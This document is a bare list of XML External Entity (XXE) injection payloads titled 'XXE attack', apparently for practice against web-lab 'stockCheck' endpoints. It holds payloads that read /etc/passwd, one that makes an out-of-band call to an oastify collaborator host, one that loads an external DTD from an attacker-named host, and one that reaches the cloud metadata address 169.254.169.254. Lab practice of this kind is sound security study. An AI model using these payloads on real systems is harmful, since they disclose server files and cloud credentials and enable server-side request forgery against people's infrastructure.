XXE attack

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>anas</name>
  <tel>0612345678</tel>
  <email>&xxe;</email>
  <password>passwordtest</password>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>3</storeId>
</stockCheck>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://zrue0sthug1j59o3gpym208xlorff53u.oastify.com/">
]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % extDTD SYSTEM "http://attacker.oastify.com/external.dtd">
  %extDTD;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>2</storeId>
</stockCheck>
 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
    <storeId>
        1
    </storeId>
    </stockCheck>